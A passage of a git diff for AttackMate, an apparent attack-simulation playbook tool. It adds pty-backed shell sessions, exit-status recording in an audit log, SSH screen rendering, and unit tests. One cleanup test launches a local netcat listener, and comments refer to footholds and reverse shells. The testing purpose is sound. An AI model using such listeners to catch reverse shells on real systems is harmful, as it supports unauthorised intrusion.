command.wait_for_exit else None + cmd = self.encode_cmd(command, exit_marker=marker) + self.logger.debug('Running command in a pty') + session.drain() + session.write(cmd) + + output = '' + exit_status = None + if command.read: + # Stop on the marker rather than on a prompt or a silence: a + # script that prints nothing for minutes is not finished, and a + # prompt is not something every program gives you. + raw = session.read( + idle_timeout=(0 if command.wait_for_exit + else CmdVars.variable_to_int('timeout', command.command_timeout)), + prompts=command.prompts, + max_wait=self.read_timeout(command), + stop_when_contains=marker, + ) + # session.screen, not command.screen: whether a session emulates a + # screen is fixed when it is created, so a later command on the + # same session cannot turn it on retroactively. + output = render_output(raw, screen=session.screen) + if marker is not None: + output, exit_status = split_exit_marker(output, marker) + + if not command.session and not command.creates_session: + session.close() + + return self.build_result(command, output, exit_status) + + @staticmethod + def read_timeout(command: ShellCommand): + """Total time bound for one read, distinct from the idle command_timeout.""" + if command.read_timeout is None: + return None + return CmdVars.variable_to_int('read_timeout', command.read_timeout) + def popen_close(self, proc): self.logger.debug('Closing popen process') proc.terminate() @@ -83,56 +213,97 @@ def popen_noninteractive(self, proc: subprocess.Popen, cmd: bytes, timeout=None) return output.decode(errors='replace') def popen_interactive( - self, proc: subprocess.Popen, cmd: bytes, timeout: int = 5, read: bool = True + self, proc: subprocess.Popen, cmd: bytes, timeout: int = 5, read: bool = True, + stop_when_contains: Optional[str] = None, max_wait: Optional[float] = None, ) -> str: self.logger.debug('Running interactive command') self.logger.debug(f'Sending command: {cmd.decode("utf-8")}') if proc.stdin: - proc.stdin.write(cmd) - proc.stdin.flush() + try: + proc.stdin.write(cmd) + proc.stdin.flush() + except (BrokenPipeError, ValueError) as e: + # The session died between the liveness check and this write - + # poll() can still report a process alive for a moment after it + # is killed. Uncaught, this ended the whole playbook. + raise ExecException(f'Shell-Session is no longer accepting input: {e}') outline = b'' if read: + # With a marker to wait for, the idle timeout does not apply: a + # command that has gone quiet has not necessarily finished, which + # is the whole point of waiting for one. + wait_for_marker = stop_when_contains is not None + started = datetime.now() begin = datetime.now() - while (datetime.now() - begin).total_seconds() < timeout: + while wait_for_marker or (datetime.now() - begin).total_seconds() < timeout: + if max_wait is not None and (datetime.now() - started).total_seconds() >= max_wait: + self.logger.debug('interactive read stopped: maximum wait reached') + break + tmp = self.non_block_read(proc.stdout) if tmp: outline += tmp begin = datetime.now() # reset timer when data comes + # Only the tail can hold a marker that has just arrived. + # Decoding the whole buffer each time would be quadratic on + # a command with a lot of output. + tail = outline[-PROMPT_TAIL:].decode(errors='replace') + if wait_for_marker and stop_when_contains in tail: + self.logger.debug('interactive read stopped: found marker') + break + continue + + if wait_for_marker and proc.poll() is not None: + # The shell exited without ever printing the marker, so no + # more output is coming and waiting longer cannot help. + self.logger.debug('interactive read stopped: session ended') + break + # Without this the loop spins on a core for the whole timeout. + time.sleep(POLL_INTERVAL) # Same reasoning as popen_noninteractive: never let output bytes end the run. return outline.decode(errors='replace') async def _exec_cmd(self, command: ShellCommand) -> Result: + if command.pty: + if platform.system() == 'Windows': + return Result('Pseudo-terminals are only available on Unix-like systems!', 1) + return self.exec_pty(command) + try: proc = self.open_proc(command) except KeyError as e: raise ExecException(e) - if command.bin: - try: - cmd = binascii.unhexlify(command.cmd) - self.logger.info( - f"Shell-Command: Hex {command.cmd} to ascii: {bytes.fromhex(command.cmd).decode('ascii')}" - ) - except binascii.Error: - raise ExecException( - f"only hex characters are allowed in binary mode. Command: '{command.cmd}'" - ) - else: - cmd = command.cmd.encode('utf-8') + # Only the interactive path needs a marker. A non-interactive command + # is run with communicate(), which already waits for the process to + # finish and yields its real status - so rewriting the command there + # would buy nothing. + marker = make_exit_marker() if command.wait_for_exit and command.interactive else None + cmd = self.encode_cmd(command, exit_marker=marker) timeout = CmdVars.variable_to_int('timeout', command.command_timeout) output = '' + exit_status = None + if command.interactive: - output = self.popen_interactive(proc, cmd, timeout, read=command.read) + output = self.popen_interactive( + proc, cmd, timeout, read=command.read, + stop_when_contains=marker, max_wait=self.read_timeout(command), + ) + if marker is not None: + output, exit_status = split_exit_marker(output, marker) if not command.session and not command.creates_session: self.popen_close(proc) else: output = self.popen_noninteractive(proc, cmd) + # communicate() has already reaped the process, so this is the real + # status of the command. It was simply discarded before. + exit_status = proc.returncode self.popen_close(proc) - return Result(output, 0) + return self.build_result(command, output, exit_status) diff --git a/src/attackmate/executors/ssh/interactfeature.py b/src/attackmate/executors/ssh/interactfeature.py index e4aec6820..8d492a69e 100644 --- a/src/attackmate/executors/ssh/interactfeature.py +++ b/src/attackmate/executors/ssh/interactfeature.py @@ -4,6 +4,8 @@ from paramiko.client import SSHClient from attackmate.schemas.ssh import SSHCommand from attackmate.execexception import ExecException +from attackmate.executors.common.terminal import expand_keys +from attackmate.executors.features.cmdvars import CmdVars from attackmate.executors.ssh.sessionstore import SessionStore @@ -52,7 +54,13 @@ def exec_interactive_command(self, command: SSHCommand, client: SSHClient, sessi channel = session_store.get_channel_by_session(command.session) if not channel: - channel = client.invoke_shell() + # Terminal type and size decide how full-screen applications draw + # themselves, so they must be set when the shell is created. + channel = client.invoke_shell( + term=command.term, + width=CmdVars.variable_to_int('pty_cols', command.pty_cols), + height=CmdVars.variable_to_int('pty_rows', command.pty_rows), + ) if command.session: session_store.set_existing_session(command.session, client, channel) elif command.creates_session: @@ -69,7 +77,8 @@ def exec_interactive_command(self, command: SSHCommand, client: SSHClient, sessi except binascii.Error: raise ExecException(f"only hex characters are allowed in binary mode: \"{command.cmd}\"") else: - stdin.write(str.encode(command.cmd)) + cmd = expand_keys(command.cmd) if command.expand_keys else command.cmd + stdin.write(str.encode(cmd)) stdin.flush() return (None, stdout, stderr) diff --git a/src/attackmate/executors/ssh/sessionstore.py b/src/attackmate/executors/ssh/sessionstore.py index 83f463678..4973e7653 100644 --- a/src/attackmate/executors/ssh/sessionstore.py +++ b/src/attackmate/executors/ssh/sessionstore.py @@ -1,14 +1,32 @@ from paramiko.channel import Channel from paramiko.client import SSHClient -from typing import Optional +from typing import Any, Optional import logging class SessionStore: def __init__(self): self.store: dict[str, tuple[SSHClient, Optional[Channel]]] = {} + # Screen state has to survive between commands: a full-screen program + # draws once and then only sends the parts that change, so rendering + # each command's output on its own would show fragments. + self.screens: dict[str, Any] = {} self.logger = logging.getLogger('playbook') + def get_screen(self, session_name: Optional[str], rows: int, cols: int): + """Return the terminal screen for *session_name*, creating it if needed. + + Commands without a session get a throwaway screen, since there is no + later command that could observe its state. + """ + from attackmate.executors.common.terminal import TerminalScreen + + if session_name is None: + return TerminalScreen(rows, cols) + if session_name not in self.screens: + self.screens[session_name] = TerminalScreen(rows, cols) + return self.screens[session_name] + def __getstate__(self): """ store contains the states of the ssh connections. they are not @@ -16,6 +34,7 @@ def __getstate__(self): """ state = self.__dict__.copy() state['store'] = None + state['screens'] = None return state def has_session(self, session_name: str) -> bool: @@ -73,3 +92,30 @@ def clean_sessions(self): self.logger.error(f"Error closing client for ssh session '{session_name}': {e}") self.store.clear() + self.screens.clear() + + def session_is_alive(self, session_name: str) -> bool: + """True if the stored client still has an active transport.""" + if session_name not in self.store: + return False + client, _ = self.store[session_name] + transport = client.get_transport() if client else None + return bool(transport and transport.is_active()) + + def close_session(self, session_name: str) -> bool: + """Close one session by name, and forget its terminal screen. + + The screen has to go with it, or a later session reusing the name + inherits the old one's contents. + """ + if session_name not in self.store: + return False + client, channel = self.store.pop(session_name) + self.screens.pop(session_name, None) + for closeable in (channel, client): + try: + if closeable is not None: + closeable.close() + except Exception as e: + self.logger.error(f"Error closing ssh session '{session_name}': {e}") + return True diff --git a/src/attackmate/executors/ssh/sshexecutor.py b/src/attackmate/executors/ssh/sshexecutor.py index 4858c6d9d..6465f4d9f 100644 --- a/src/attackmate/executors/ssh/sshexecutor.py +++ b/src/attackmate/executors/ssh/sshexecutor.py @@ -5,11 +5,14 @@ ssh. """ +import select + from paramiko.client import SSHClient from paramiko import AutoAddPolicy from paramiko.ssh_exception import BadHostKeyException, AuthenticationException, SSHException from attackmate.executors.baseexecutor import BaseExecutor from attackmate.execexception import ExecException +from attackmate.executors.common.terminal import PROMPT_TAIL, render_output, strip_ansi from attackmate.executors.ssh.interactfeature import Interactive from attackmate.result import Result from attackmate.executors.features.cmdvars import CmdVars @@ -133,6 +136,7 @@ def cleanup(self): async def _exec_cmd(self, command: SFTPCommand | SSHCommand) -> Result: error = None output = '' + exit_status = None if command.clear_cache: self.set_defaults() @@ -147,16 +151,45 @@ async def _exec_cmd(self, command: SFTPCommand | SSHCommand) -> Result: else: if command.interactive: stdin, stdout, stderr = self.exec_interactive_command(command, client, self.session_store) + screen = None + if command.screen: + screen = self.session_store.get_screen( + command.session or command.creates_session, + CmdVars.variable_to_int('pty_rows', command.pty_rows), + CmdVars.variable_to_int('pty_cols', command.pty_cols), + ) + raw = b'' self.set_timer() while self.check_timer(CmdVars.variable_to_int('timeout', command.command_timeout)): - if stdout.channel.recv_ready(): - tmp = stdout.channel.recv(1025).decode('utf-8', 'ignore') - output += tmp - self.check_prompt(output, command.prompts) + channel = stdout.channel + if not channel.recv_ready(): + # Without this the loop spins on a core for the whole + # command_timeout. select wakes as soon as data lands. + select.select([channel], [], [], 0.05) + continue + # Accumulate bytes and decode once: a chunk boundary can + # fall inside a multi-byte character. + tmp = channel.recv(65536) + raw += tmp + if screen is not None: + screen.feed(tmp) + # Prompts are matched on readable text - a prompt is + # usually trailed by colour codes that defeat endswith(). + # Only the tail can end with a prompt; re-scanning the + # whole buffer each chunk would be quadratic. + self.check_prompt( + strip_ansi(raw[-PROMPT_TAIL:].decode('utf-8', 'ignore')), command.prompts + ) + output = render_output(raw, screen=screen) else: stdin, stdout, stderr = client.exec_command(command.cmd) output = stdout.read().decode('utf-8', 'ignore') error = stderr.read().decode('utf-8', 'ignore') + # The remote status was always available here and never + # read. Without it the only failure signal is "wrote + # something to stderr", which calls a successful noisy + # command a failure and a silent failure a success. + exit_status = stdout.channel.recv_exit_status() except ValueError as e: raise ExecException(e) except AttributeError as e: @@ -171,6 +204,8 @@ async def _exec_cmd(self, command: SFTPCommand | SSHCommand) -> Result: raise ExecException(e) if error: - return Result(error, 1) + # Preserved as-is: existing playbooks rely on stderr meaning + # failure. The real status still reaches the audit log. + return Result(error, 1, exit_status=exit_status) - return Result(output, 0) + return self.build_result(command, output, exit_status) diff --git a/src/attackmate/result.py b/src/attackmate/result.py index bb0ad697b..dd1bbaaf9 100644 --- a/src/attackmate/result.py +++ b/src/attackmate/result.py @@ -8,7 +8,7 @@ class Result: stdout: str returncode: int - def __init__(self, stdout, returncode): + def __init__(self, stdout, returncode, exit_status=None): """ Constructor of the Result Instances of this Result-class will be returned @@ -21,9 +21,18 @@ def __init__(self, stdout, returncode): The standard-output of a command. returncode : int The returncode of a previous executed command + exit_status : int, optional + The real exit status of the process, where one genuinely exists. + ``returncode`` is what drives ``exit_on_error`` and stays at its + historical value unless a command opts in with ``use_exit_code``; + this field is what gets recorded in the JSON audit log, and is + ``None`` when no true status is available - inside a live session + the shell is still running, so there is nothing to report. """ self.stdout = stdout self.returncode = returncode + self.exit_status = exit_status def __repr__(self): - return f'Result(stdout={repr(self.stdout)}, returncode={self.returncode})' + return (f'Result(stdout={repr(self.stdout)}, returncode={self.returncode}, ' + f'exit_status={self.exit_status})') diff --git a/src/attackmate/schemas/base.py b/src/attackmate/schemas/base.py index 70b4e4c03..298c7bdce 100644 --- a/src/attackmate/schemas/base.py +++ b/src/attackmate/schemas/base.py @@ -54,6 +54,12 @@ def list_template_vars(self) -> List[str]: loop_if_not: Optional[str] = None loop_count: StringNumber = '3' exit_on_error: bool = True + # The real exit status of a command is always recorded in the JSON audit + # log. Set this to let it drive exit_on_error as well; off by default, + # because shell and ssh steps have always reported success regardless of + # what the command did, and playbooks depend on that. + use_exit_code: bool = False + substitute_cmd_vars: bool = True save: Optional[str] = None cmd: str background: bool = False diff --git a/src/attackmate/schemas/command_subtypes.py b/src/attackmate/schemas/command_subtypes.py index 2bae93603..a963ce20d 100644 --- a/src/attackmate/schemas/command_subtypes.py +++ b/src/attackmate/schemas/command_subtypes.py @@ -4,6 +4,7 @@ # Core Commands from .sleep import SleepCommand from .shell import ShellCommand +from .session import SessionCommand from .setvar import SetVarCommand from .include import IncludeCommand from .loop import LoopCommand @@ -82,6 +83,7 @@ FatherCommand, SFTPCommand, DebugCommand, + SessionCommand, SetVarCommand, RegExCommand, TempfileCommand, diff --git a/src/attackmate/schemas/session.py b/src/attackmate/schemas/session.py new file mode 100644 index 000000000..8529c6b93 --- /dev/null +++ b/src/attackmate/schemas/session.py @@ -0,0 +1,19 @@ +from typing import Literal +from attackmate.schemas.base import BaseCommand +from attackmate.command import CommandRegistry + + +@CommandRegistry.register('session') +class SessionCommand(BaseCommand): + """Close or inspect an open session from within a playbook. + + Sessions used to live until the end of the run with no way to close one + early, and no way to ask whether one was still alive - so a playbook could + only find out that its foothold had dropped by sending a command into it + and failing. + """ + + type: Literal['session'] + cmd: Literal['close', 'status'] = 'close' + session: str + executor: Literal['shell', 'ssh'] = 'shell' diff --git a/src/attackmate/schemas/shell.py b/src/attackmate/schemas/shell.py index b7d867013..de579a384 100644 --- a/src/attackmate/schemas/shell.py +++ b/src/attackmate/schemas/shell.py @@ -1,5 +1,5 @@ -from typing import Literal, Optional -from pydantic import ValidationInfo, field_validator +from typing import List, Literal, Optional +from pydantic import ValidationInfo, field_validator, model_validator from attackmate.schemas.base import StringNumber from attackmate.schemas.base import BaseCommand from attackmate.command import CommandRegistry @@ -14,6 +14,27 @@ def session_and_background_unsupported(cls, v, info: ValidationInfo) -> str: raise ValueError('background mode combined with session is unsupported for SSH') return v + @model_validator(mode='after') + def wait_for_exit_needs_text(self) -> 'ShellCommand': + """``wait_for_exit`` appends a marker, which raw bytes cannot carry.""" + if self.wait_for_exit and self.bin: + raise ValueError('wait_for_exit cannot be combined with bin mode') + return self + + @model_validator(mode='after') + def default_expand_keys_to_pty(self) -> 'ShellCommand': + """Turn key expansion on by default for pty commands only. + + Driving a terminal application means sending keystrokes, so ```` + and friends are what a pty user wants. Existing non-pty playbooks must + keep sending their text verbatim, and anyone who really wants a literal + ```` under pty can still say ``expand_keys: False`` - checking + ``model_fields_set`` distinguishes an explicit False from the default. + """ + if self.pty and 'expand_keys' not in self.model_fields_set: + self.expand_keys = True + return self + type: Literal['shell'] interactive: bool = False creates_session: Optional[str] = None @@ -22,3 +43,13 @@ def session_and_background_unsupported(cls, v, info: ValidationInfo) -> str: read: bool = True command_shell: str = '/bin/sh' bin: Optional[bool] = False + pty: bool = False + raw: bool = True + screen: bool = False + expand_keys: bool = False + term: str = 'xterm-256color' + pty_rows: StringNumber = '24' + pty_cols: StringNumber = '80' + prompts: List[str] = [] + read_timeout: StringNumber = None + wait_for_exit: bool = False diff --git a/src/attackmate/schemas/ssh.py b/src/attackmate/schemas/ssh.py index 427776024..0c09e42d0 100644 --- a/src/attackmate/schemas/ssh.py +++ b/src/attackmate/schemas/ssh.py @@ -35,6 +35,11 @@ class SSHCommand(SSHBase): command_timeout: StringNumber = '15' prompts: List[str] = ['$ ', '# ', '> '] bin: bool = False + screen: bool = False + expand_keys: bool = False + term: str = 'vt100' + pty_rows: StringNumber = '24' + pty_cols: StringNumber = '80' @CommandRegistry.register('sftp') diff --git a/src/attackmate/variablestore.py b/src/attackmate/variablestore.py index 4db56ab73..8696cc5c8 100644 --- a/src/attackmate/variablestore.py +++ b/src/attackmate/variablestore.py @@ -201,7 +201,7 @@ def get_prefixed_env_vars(self, prefix: str = 'ATTACKMATE_') -> dict[str, str]: prefixed_env_vars = {k[len(prefix):]: v for k, v in os.environ.items() if k.startswith(prefix)} return prefixed_env_vars - def replace_with_prefixed_env_vars(self): + def replace_with_prefixed_env_vars(self) -> list[str]: """Override stored variables with matching prefixed environment variables. For each scalar variable currently in the store, if an environment variable @@ -209,9 +209,16 @@ def replace_with_prefixed_env_vars(self): Example: the stored variable ``FOO`` is overridden by the environment variable ``ATTACKMATE_FOO`` if it is set. + + :returns: The names of the variables that were replaced. The caller logs + them, because the playbook on disk otherwise does not fully determine + what ran and nothing anywhere records the difference. """ env_vars = self.get_prefixed_env_vars() + replaced = [] for var_name in list(self.variables.keys()): if var_name in env_vars: self.set_variable(var_name, env_vars[var_name]) + replaced.append(var_name) + return replaced diff --git a/test/requirements.txt b/test/requirements.txt index ea8780dd4..159dd6b49 100644 --- a/test/requirements.txt +++ b/test/requirements.txt @@ -1,3 +1,4 @@ pytest pytest-mock vcrpy +pyte diff --git a/test/units/test_audit_log.py b/test/units/test_audit_log.py new file mode 100644 index 000000000..ef5a80928 --- /dev/null +++ b/test/units/test_audit_log.py @@ -0,0 +1,218 @@ +import json +import logging +import os + +import pytest + +from attackmate.execexception import ExecException +from attackmate.executors.shell.shellexecutor import ShellExecutor +from attackmate.processmanager import ProcessManager +from attackmate.result import Result +from attackmate.schemas.shell import ShellCommand +from attackmate.variablestore import VariableStore + +pytestmark = pytest.mark.skipif(os.name != 'posix', reason='spawns real shells') + + +class RecordingHandler(logging.Handler): + """Captures what would be written to attackmate.json.""" + + def __init__(self): + super().__init__() + self.records = [] + + def emit(self, record): + self.records.append(json.loads(record.getMessage())) + + +@pytest.fixture +def shell_executor(): + executor = ShellExecutor(ProcessManager(), VariableStore()) + try: + yield executor + finally: + executor.cleanup() + + +@pytest.fixture +def audit(shell_executor): + handler = RecordingHandler() + logger = logging.getLogger('json') + logger.addHandler(handler) + previous_level = logger.level + logger.setLevel(logging.INFO) + try: + yield handler.records + finally: + logger.removeHandler(handler) + logger.setLevel(previous_level) + + +@pytest.mark.asyncio +async def test_step_records_when_it_ended_and_how_long_it_took(shell_executor, audit): + """Without an end time, what a step did has to be reconstructed elsewhere. + + An interactive step in particular returns after a silence rather than on + exit, so its children can still be running well after the log claims it + finished. + """ + await shell_executor.exec(ShellCommand(type='shell', cmd='echo timed')) + + record = audit[-1] + assert record['start-datetime'] + assert record['end-datetime'] >= record['start-datetime'] + assert record['duration-seconds'] >= 0 + + +@pytest.mark.asyncio +async def test_real_exit_status_is_recorded_without_changing_behaviour(shell_executor, audit): + """The true status reaches the log, but exit_on_error still sees 0. + + Making it authoritative by default would start failing playbooks that have + always passed, so enforcement is opt-in. + """ + result = await shell_executor.exec(ShellCommand(type='shell', cmd="sh -c 'exit 42'")) + + assert audit[-1]['exit-status'] == 42 + assert audit[-1]['returncode'] == 0 + assert result.returncode == 0 + + +@pytest.mark.asyncio +async def test_use_exit_code_makes_the_status_authoritative(shell_executor, audit): + result = await shell_executor.exec( + ShellCommand(type='shell', cmd="sh -c 'exit 7'", use_exit_code=True, exit_on_error=False) + ) + + assert result.returncode == 7 + assert audit[-1]['exit-status'] == 7 + + +@pytest.mark.asyncio +async def test_a_step_that_dies_is_still_recorded(shell_executor, audit, monkeypatch): + """The record used to be written only on the way out, so a step killed by an + uncaught exception left no trace - the artifact showed a playbook that + simply stopped. That is how a dropped reverse shell presents.""" + + async def explode(_command): + raise BrokenPipeError('the session went away') + + monkeypatch.setattr(shell_executor, '_exec_cmd', explode) + + with pytest.raises(BrokenPipeError): + await shell_executor.exec(ShellCommand(type='shell', cmd='echo doomed')) + + assert audit, 'the failing step was not recorded at all' + assert audit[-1]['cmd'] == 'echo doomed' + + +@pytest.mark.asyncio +async def test_log_survives_a_failure_before_the_command_runs(shell_executor, audit, monkeypatch): + """log_command can itself raise - a non-numeric ssh port reaches + variable_to_int through cache_settings. The timestamp is bound before the + try so the handler does not then die of UnboundLocalError.""" + + def bad_log(_command): + raise ExecException('cannot parse port') + + monkeypatch.setattr(shell_executor, 'log_command', bad_log) + result = await shell_executor.exec( + ShellCommand(type='shell', cmd='echo x', exit_on_error=False) + ) + + assert result.returncode == 1 + assert audit[-1]['cmd'] == 'echo x' + + +@pytest.mark.asyncio +async def test_skipped_step_is_visible_in_the_log(shell_executor, audit): + """A step skipped by only_if used to be absent entirely, which reads the + same as a step that was never in the playbook.""" + await shell_executor.run(ShellCommand(type='shell', cmd='echo never', only_if='1 == 2')) + + assert audit[-1]['cmd'] == 'echo never' + assert audit[-1]['skipped'] is True + assert 'end-datetime' not in audit[-1] + + +def test_build_result_defaults_to_the_historical_returncode(): + command = ShellCommand(type='shell', cmd='x') + assert ShellExecutor.build_result(command, 'out', exit_status=3).returncode == 0 + assert ShellExecutor.build_result(command, 'out', exit_status=3).exit_status == 3 + + +def test_build_result_leaves_exit_status_none_when_unknown(): + """Inside a live session the shell is still running, so there is no status + to report. It is recorded as None rather than faked as 0.""" + command = ShellCommand(type='shell', cmd='x', use_exit_code=True) + result = ShellExecutor.build_result(command, 'out', exit_status=None) + assert result.exit_status is None + assert result.returncode == 0 + + +def test_duration_of_unparseable_timestamps_is_none(): + assert ShellExecutor.duration_seconds('not-a-time', 'nor-this') is None + + +def test_result_repr_includes_exit_status(): + assert 'exit_status=5' in repr(Result('out', 0, exit_status=5)) + + +@pytest.mark.asyncio +async def test_dollar_dollar_survives_with_templating_off(shell_executor, audit): + """string.Template collapses $$ to a single $, and in a shell $$ is the + process id - so `kill -9 $$` and `/tmp/f.$$` were silently rewritten, and + the audit log recorded the rewritten form rather than the playbook's.""" + command = ShellCommand(type='shell', cmd='echo "PID_IS:$$"', substitute_cmd_vars=False) + await shell_executor.run(command) + + assert audit[-1]['cmd'] == 'echo "PID_IS:$$"' + # A correct run prints a pid, not a bare '$'. + assert audit[-1]['exit-status'] == 0 + + +@pytest.mark.asyncio +async def test_templating_still_applies_by_default(shell_executor, audit): + await shell_executor.run(ShellCommand(type='shell', cmd='echo "collapsed:$$"')) + assert audit[-1]['cmd'] == 'echo "collapsed:$"' + + +@pytest.mark.asyncio +async def test_dead_pipe_session_fails_cleanly(shell_executor, audit): + """Writing to a shell that has exited raises BrokenPipeError, which nothing + catches - it ended the playbook, and the step never reached the log. That + is exactly how a dropped reverse shell presents.""" + await shell_executor._exec_cmd( + ShellCommand(type='shell', cmd='echo alive\n', interactive=True, + creates_session='foothold', command_timeout=2) + ) + dead = shell_executor.session_store.get_handle_by_session('foothold') + dead.kill() + dead.wait(timeout=5) + + with pytest.raises(ExecException, match='has exited'): + await shell_executor._exec_cmd( + ShellCommand(type='shell', cmd='echo after\n', interactive=True, + session='foothold', command_timeout=2) + ) + + +@pytest.mark.asyncio +async def test_a_session_dying_mid_write_is_also_a_clean_failure(shell_executor): + """poll() can still report a process alive for a moment after it is killed, + so the write itself has to fail cleanly too.""" + await shell_executor._exec_cmd( + ShellCommand(type='shell', cmd='echo alive\n', interactive=True, + creates_session='racy', command_timeout=2) + ) + proc = shell_executor.session_store.get_handle_by_session('racy') + proc.stdin.close() + + # Either path is correct and which one wins is a race: closing stdin may + # also make the shell exit, in which case the liveness check catches it + # first. What matters is that neither crashes the run. + with pytest.raises(ExecException, match='no longer accepting input|has exited'): + await shell_executor._exec_cmd( + ShellCommand(type='shell', cmd='echo after\n', interactive=True, + session='racy', command_timeout=2) + ) diff --git a/test/units/test_ptysession.py b/test/units/test_ptysession.py new file mode 100644 index 000000000..dfcb6d3c0 --- /dev/null +++ b/test/units/test_ptysession.py @@ -0,0 +1,169 @@ +import os + +import pytest + +from attackmate.execexception import ExecException +from attackmate.executors.common.terminal import strip_ansi +from attackmate.executors.shell.ptysession import PtySession + +pytestmark = pytest.mark.skipif(os.name != 'posix', reason='pty requires a Unix-like OS') + +PROMPTS = ['# ', '$ '] + + +@pytest.fixture +def session(): + """A real shell behind a real pty. Closed even when the test fails.""" + pty_session = PtySession('/bin/sh', rows=30, cols=100) + try: + yield pty_session + finally: + pty_session.close() + + +def run(session, cmd: str, timeout: float = 5) -> str: + session.write(cmd.encode()) + return strip_ansi(session.read(idle_timeout=timeout, prompts=PROMPTS).decode(errors='replace')) + + +def test_stdin_is_a_terminal(session): + """The whole point: on the pipe path this reports RESULT=no. + + The marker is assembled by printf so that the terminal's echo of the + command cannot contain it - otherwise the assertion would pass on any + output at all. + """ + output = run(session, "test -t 0 && printf 'RESULT=%s\\n' yes || printf 'RESULT=%s\\n' no\n") + assert 'RESULT=yes' in output + + +def test_controlling_terminal_exists(session): + """/dev/tty is what sudo, su and ssh read a password from. + + openpty() alone does not provide it; the TIOCSCTTY call in + PtySession._make_controlling_terminal does. + """ + output = run( + session, + "echo hi > /dev/tty 2>&1 && printf 'CTTY=%s\\n' ok || printf 'CTTY=%s\\n' fail\n", + ) + assert 'CTTY=ok' in output + + +def test_window_size_is_reported(session): + """Full-screen programs lay themselves out according to this.""" + assert '30 100' in run(session, 'stty size\n') + + +def test_term_is_exported(session): + assert 'xterm-256color' in run(session, 'printf "%s\\n" "$TERM"\n') + + +def test_session_keeps_state_between_reads(session): + """One shell process, so shell state persists - unlike the stateless path.""" + run(session, 'MARKER=42\n') + assert '42' in run(session, 'echo $MARKER\n') + + +def test_prompt_stops_read_before_the_timeout(session): + """A generous idle timeout must not delay a command that already finished.""" + session.write(b'echo quick\n') + output = session.read(idle_timeout=30, prompts=PROMPTS) + assert b'quick' in output + + +def test_zero_timeout_without_prompts_is_rejected(session): + """command_timeout 0 means 'wait for a prompt', which needs prompts.""" + with pytest.raises(ExecException, match='prompts'): + session.read(idle_timeout=0, prompts=[]) + + +def test_zero_timeout_stops_on_prompt(session): + session.write(b'echo unbounded\n') + assert b'unbounded' in session.read(idle_timeout=0, prompts=PROMPTS) + + +def test_max_wait_caps_endless_output(session): + """A command that never goes quiet must still return.""" + session.write(b'while true; do echo spam; done\n') + assert session.read(idle_timeout=30, prompts=[], max_wait=1) + + +def test_non_utf8_output_does_not_raise(session): + """/bin/sh printf has no \\xHH, so the octal escape is the portable one.""" + assert 'ok' in run(session, "printf 'ok\\311done\\n'\n") + + +def test_screen_mode_renders_the_visible_screen(): + """No editor needed: an explicit clear-and-home is the same mechanism.""" + pty_session = PtySession('/bin/sh', rows=10, cols=40, screen=True) + try: + pty_session.write(b'printf "\\033[2J\\033[Hclean\\n"\n') + pty_session.read(idle_timeout=3, prompts=PROMPTS) + assert any('clean' in line for line in pty_session.screen.display()) + finally: + pty_session.close() + + +def test_close_terminates_the_shell(): + pty_session = PtySession('/bin/sh') + assert pty_session.is_alive() + pty_session.close() + assert not pty_session.is_alive() + with pytest.raises(ExecException, match='closed pty session'): + pty_session.write(b'echo late\n') + + +def test_close_is_idempotent(): + """cleanup() may run after a session was already closed.""" + pty_session = PtySession('/bin/sh') + pty_session.close() + pty_session.close() + + +def test_raw_mode_is_on_by_default(session): + """Without raw mode a pty cannot drive a program on another host. + + icanon holds a lone control key in the local line buffer, isig turns + into a signal against the local shell instead of sending it on, and + echo puts every command into the output that error_if and save then see. + A local full-screen program hides this by setting raw mode itself; a + remote one cannot reach the terminal at all. + """ + flags = run(session, "stty -a | tr ' ' '\\n' | grep -E '^-?(icanon|echo|isig)$' | sort | tr '\\n' ' '\n") + assert '-icanon' in flags + assert '-echo' in flags + assert '-isig' in flags + + +def test_raw_mode_can_be_turned_off(): + pty_session = PtySession('/bin/sh', raw=False) + try: + flags = run(pty_session, "stty -a | tr ' ' '\\n' | grep -E '^-?icanon$'\n") + assert 'icanon' in flags and '-icanon' not in flags + finally: + pty_session.close() + + +def test_raw_mode_suppresses_the_command_echo(session): + """The echo is what previously put the command itself into a step's output.""" + session.write(b'printf "%s\\n" ONCE\n') + output = session.read(idle_timeout=3, prompts=PROMPTS).decode(errors='replace') + assert output.count('ONCE') == 1 + + +def test_cooked_mode_still_echoes(): + pty_session = PtySession('/bin/sh', raw=False) + try: + pty_session.write(b'printf "%s\\n" TWICE\n') + output = pty_session.read(idle_timeout=3, prompts=PROMPTS).decode(errors='replace') + assert output.count('TWICE') > 1 + finally: + pty_session.close() + + +def test_newline_still_submits_a_shell_command_in_raw_mode(session): + """icrnl is off in raw mode, so this is worth pinning down: shell command + lines still end with \\n. Only a full-screen program's own prompt needs a + real carriage return, which is what is for.""" + assert 'SUBMITTED' in run(session, "printf '%s\\n' SUBMITTED\n") diff --git a/test/units/test_session_cleanup.py b/test/units/test_session_cleanup.py new file mode 100644 index 000000000..26e5ff9af --- /dev/null +++ b/test/units/test_session_cleanup.py @@ -0,0 +1,174 @@ +import logging +import os +import socket +import subprocess +import time + +import pytest + +from attackmate.attackmate import AttackMate +from attackmate.executors.shell.shellexecutor import ShellExecutor +from attackmate.processmanager import ProcessManager +from attackmate.schemas.shell import ShellCommand +from attackmate.variablestore import VariableStore + +pytestmark = pytest.mark.skipif(os.name != 'posix', reason='process groups require a Unix-like OS') + +PROMPTS = ['# ', '$ '] + + +def port_is_taken(port: int) -> bool: + probe = socket.socket() + probe.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + probe.bind(('127.0.0.1', port)) + return False + except OSError: + return True + finally: + probe.close() + + +@pytest.fixture +def free_port(): + holder = socket.socket() + holder.bind(('127.0.0.1', 0)) + port = holder.getsockname()[1] + holder.close() + return port + + +@pytest.fixture +def shell_executor(): + executor = ShellExecutor(ProcessManager(), VariableStore()) + try: + yield executor + finally: + executor.cleanup() + + +@pytest.mark.asyncio +async def test_pipe_session_does_not_outlive_the_run(shell_executor, free_port): + """A session's listener must not survive cleanup and hold its port. + + An orphan here is worse than a crash: the next run's listener cannot bind, + its reverse shell never connects, and every following step is still + recorded as a success. One run silently corrupts the next. + + Closing the shell is not enough - the listener is its child and outlives + it, which is why the whole process group has to be signalled. + """ + await shell_executor._exec_cmd( + ShellCommand( + type='shell', + cmd=f'nc -l -p {free_port} &\n', + interactive=True, + creates_session='listener', + command_timeout=2, + ) + ) + time.sleep(1) + assert port_is_taken(free_port), 'listener never came up, so the test proves nothing' + + shell_executor.cleanup() + time.sleep(1) + + assert not port_is_taken(free_port) + assert shell_executor.session_store.store == {} + + +@pytest.mark.asyncio +async def 